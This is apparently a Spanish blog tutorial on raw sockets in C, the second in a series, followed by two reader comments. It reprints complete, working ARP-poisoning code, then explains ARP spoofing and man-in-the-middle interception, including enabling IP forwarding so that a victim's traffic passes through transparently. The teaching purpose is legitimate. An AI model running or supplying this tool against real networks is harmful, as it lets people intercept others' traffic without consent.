En crudo y sin censura RAW SOCKETS II (en C)

¡Qué tal! Ya estoy aquí con la segunda entrada de esta serie, que me da a mi que va a ser larga... ;D
Bueno como prometí en la entrada anterior vamos a ver el ejemplo que os dejé, vamos a ver las partes importantes de Sockets Raw, y añadiremos o modificaremos el código para conseguir un ejemplo más versátil...

Al lector: si incurro en cualquier error a lo largo de estos post agradecería vuestras correcciones.

Como primer ejercicio quiero que le echéis un vistazo más a fondo al código que está debajo de este párrafo, y leáis los comentarios donde a grandes rasgos explico el funcionamiento del ejemplo que os dejé la semana pasada, si no entendéis nada (nadie dijo que programar para sockets fuera a ser fácil), no agobiarse, basta con echarle un ojo para que cuando explique la teoría os suene por donde cae en el código:

#include <stdio.h>//libreria estandar
#include <stdlib.h>//libreria estandar
#include <unistd.h>// close(sock)
#include <string.h>//biblioteca standar
#include <netinet/if_ether.h> //estructuras ethernet arp headers
#include <net/if.h>// sockets interfaces locales
#include <sys/socket.h> // encabezado de sockets principales
#include <arpa/inet.h>//definiciones de las operaciones de Internet
#include <netpacket/packet.h>// struct sockaddr_ll
#include <net/ethernet.h>//id protos ethernet
#include <signal.h> //signal(SIGINT, cleanup);

#define IP4LEN 4 //define la 
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)
int sock;

void usage() { //funcion para mostrar el help del programa por pantalla
    puts("usage:\t./arp-poison <interface> <gateway ip> <mac addr>");
    puts("ex:\t./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
    exit(1);
        }

void cleanup() { //utilizaremos esta funcion para cerrar el socket
    close(sock); //mediante la funcion close() de <unistd.h>
    exit(0); //la funcion no retornara valor alguno
}

main(int argc, char ** argv) {
    char packet[PKTLEN]; //definimos la longitud del paquete a la suma del la cabecera ETHERNET+ARP
    struct ether_header * eth = (struct ether_header *) packet; //declaramos la variable eth y la apuntamos
    //a struct ether_headder del paquete (<netinet/if_ether.h>)

    struct ether_arp * arp = (struct ether_arp *) (packet + sizeof (struct ether_header)); //igual que el anteriot pero 
    //ether_arp para poder meter 
    //mas tarde valores.
    struct sockaddr_ll device; //<netpacket/packet.h> hacemos que  int sll_ifindex;apunte a nuestra variable device

    if (argc < 4) {//si los argumento pasados para lanzar el programa 
        usage();
    }//son inferiores a 4 lanzamos la funcion usage()mostrando asi la ayuda

    sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); //declaramos el socket con su familia,
    //tipo raw,protocolo. htons()convierte el entero corto sin signo hostshort  desde el orden de bytes del host al de la red.

    if (sock < 0) //si no se crea el shocket llamamos a exit()
        perror("socket"), exit(1);
    signal(SIGINT, cleanup);
    //RELLENAMOS LAS ESTRUCTURAS
    //recogemos la mac del argumento 3 (hexadecimal)
    //y se l pasamos a la structura ARP concretamente arp_sha[ETH_ALEN];/* sender hardware address */
    // de la libreria <netinet/if_ether.h> sin signo
    sscanf(argv[3], "%x:%x:%x:%x:%x:%x",  (unsigned int *) &arp->arp_sha[0],
                                          (unsigned int *) &arp->arp_sha[1],
                                          (unsigned int *) &arp->arp_sha[2],
                                          (unsigned int *) &arp->arp_sha[3],
                                          (unsigned int *) &arp->arp_sha[4],
                                          (unsigned int *) &arp->arp_sha[5]);
    
    //recogemos la ip pasada en el argumento 2 (decimal) a arp_spa <netinet/if_ether.h> entero
    sscanf(argv[2], "%d.%d.%d.%d",(int *) &arp->arp_spa[0],
                                  (int *) &arp->arp_spa[1],
                                  (int *) &arp->arp_spa[2],
                                  (int *) &arp->arp_spa[3]);
 ///////
  memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast  destination eth address */>/a la structura ethernet
  memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);//* "source ether addr" a structura etherne y a" hardware address" struc_arp 
  eth->ether_type = htons(ETH_P_ARP); 
  //pasamos el al heather ethernet el valor ETH_P_ARR
  //de if_ether.h "  ETH_P_ARP 0x080  Address Resolution packet */"
  arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
  arp->ea_hdr.ar_pro = htons(ETH_P_IP);
  arp->ea_hdr.ar_hln = ETH_ALEN;
  arp->ea_hdr.ar_pln = IP4LEN;
  arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
  memset(arp->arp_tha, 0xff, ETH_ALEN);
  memset(arp->arp_tpa, 0x00, IP4LEN);
  memset(&device, 0, sizeof(device));
  device.sll_ifindex = if_nametoindex(argv[1]);
  device.sll_family = AF_PACKET;
  memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
  device.sll_halen = htons(ETH_ALEN);

  puts("press ctrl+c to exit.");
  while (1) {
    printf("%s: %s is at %s\n", argv[1], argv[2], argv[3]);
    sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));//mandamos los paquetes
    sleep(2);
  }
  return 0;
}

Se que prometí no ponerme en rollo técnico, pero para empezar con sockets al menos nos deben sonar un par de conceptos críticos... intentaré ser lo mas simple y conciso que pueda...

Encapsulación de datos:

"En redes de ordenadores, encapsulación es un método de diseño modular de protocolos de comunicación en el cual las funciones lógicas de una red son abstraídas ocultando información a las capas de nivel superior".

En cristiano: Las redes se trabajan en capas, donde cada una de ellas es responsable de una función específica dentro del proceso de envío/recepción de datos desde un host a otro. Normalmente se trabaja con el modelo OSI y TCP/IP.


Para operar dentro de estas capas existen diferentes protocolos. Y para ir de una capa a otra necesitamos encapsular los paquetes hasta hacer llegar nuestro paquete al sitio deseado.


Un buen símil de esto es mandar una carta a un amigo que vive en otro continente; escribes la carta, luego va a el cartero, después al camión, que la lleva al avión...
Cuando llegue tu carta para que la coja tu amigo debe salir del avión, ir a otro camión y cogerla otro cartero que se la entregará a tu amigo.

En el proceso de viaje del paquete por las distintas capas del modelo TCP, los encargados de transportarlas son los protocolos y estos necesitan de unas cabeceras donde se le indique que transportan y donde lo transportan (entre otros datos).

En el caso de SOCK_DGRAM y SOCK_STREAM este trabajo lo lleva a cabo el Kernel, pero amigos, en el caso que nos ocupa SOCK_RAW y como vimos en la entrada anterior "Los campos del Header los deberemos rellenar manualmente, al contrario que si trabajásemos con otro tipo de socket; el kernel no rellena las cabeceras".

Para hacer esto cómodamente utilizaremos las Estructuras.

¿QUÉ SON LAS ESTRUCTURAS?

Resumiéndolo un poco: "Las estructuras son colecciones de variables relacionadas bajo un nombre. Las estructuras pueden contener variables de muchos tipos diferentes de datos a diferencia de los arreglos que contienen únicamente elementos de un mismo tipo de datos".

Para ver esto mucho mas claro vamos a recurrir a nuestro ejemplo examinando un fragmento donde rellenamos las estructura ya programada que utilizamos de las librerías incluidas en el código:

En nuestro ejemplo, vamos a mandar una trama ARP por la capa de enlace,
el encargado de esto es el protocolo ETHERNET. Para conseguir esto necesitamos la estructura de los Headers ethernet, y la estructura del  paquete arp.

Aquí apuntamos como variable eth a la estructura que contiene los headers ethernet en la librería <ethernet.h>

 y ahora con:


Le decimos el tipo de paquete que va a ser ADDRESS RESOLUTION PACKET.
que lo hemos sacado de if_ether.h convirtiéndolo con htons (la función htons convierte a u_short del host en orden de bytes de red TCP / IP si fuese necesario):







Aquí pasamos el tercer parámetro introducido al arrancar el programa(la mac):

A la Estructura ether_arp alojada en <if_ether.h>


Espero que no os esté liando mucho... solo tenéis que quedaros con que las estructuras son una colección de datos, que podemos encontrarlas en las librerías ya preconcebidas para crear paquetes <netinet.h> y cómo sacar y meter datos en ellas. ya veremos esto más despacio.

¡Menuda chapa! vamos a asimilarla con la práctica.

Vamos a dejar por el momento las comederas de cabeza hasta la tercera entrada, y vamos con lo divertido.

Construyendo nuestra primer herramienta

Dije que convertiríamos el código del ejemplo en algo más funcional y divertido, vamos hacer una herramienta que nos permita hacer un Man In The Middle.

Si estas leyendo esta entrada supongo que sabras que es un MITM y en que consiste un ataque de falsificación ARP o ARP Spoofing, pero vamos a recordarlo a grandes rasgos.

El principio del ARP Spoofing es enviar mensajes ARP falsos (falsificados o spoofed) a la Ethernet. Normalmente la finalidad es asociar la dirección MAC del atacante con la dirección IP de otro nodo (el nodo atacado), como por ejemplo la puerta de enlace predeterminada (gateway).

Esta técnica de arp spoofing, si se hace de manera bidireccional obtenemos el resultado de un ataque man in the middle.

Es decir el atacante le dice ala red (todos los equipos) o a la víctima (ataque dirigido)  que es el gateway . El medio del ataque es el envenenamiento de las tablas ARP de los equipos.

Vamos a establecer el escenario:

Supongamos que se da la siguiente situación:

Queremos poder capturar el tráfico que manda la víctima hacia INet... y lo más natural sería colocarnos en medio; de ahí lo de MITM...

¿Cómo conseguimos esto?: mediante paquetes ARP-Reply, en primer lugar a la víctima le decimos que somos el router mandándole un ARP-reply y diciendo que a nuestra mac le corresponde la ip del router.
El protocolo ARP, al carecer de mecanismos de autentificacion y si en el equipo no se ha establecido unas tablas ARP fijas, actualizara la la tabla ARP de la victima con la nueva información...en lo que respeta a el equipo víctima somos el router.

El siguiente paso será mandar un paquete ARP-reply al router diciéndole que somos la víctima, el protocolo ARP modificará la tabla Arp del router como hizo con la victima. Podremos interceptar la información bi-direccionalmente, siempre de manera transparente para la victima siempre y cuando tengamos activado el IP forward en nuestro equipo (echo 1 > /proc/sys/net/ipv4/ip_forward).

Y ¿cómo podemos manipular los paquetes ARP? pues chatos: con SOCK_RAW!

Pero esto será en la siguiente entrada..

Un saludo

    Manuel

2 comentarios :

  1. Me encanta cómo lo estás llevando. Lo que más me mola es que vas mostrando los detalles de if_ether.h.
    ¡Más, Manu, más!

    ResponderEliminar
    Respuestas
    1. Bueno, y de Ethernet.h y esas cosas. Mola verlo al detalle.
      ¡Más, Manu, más!

      Eliminar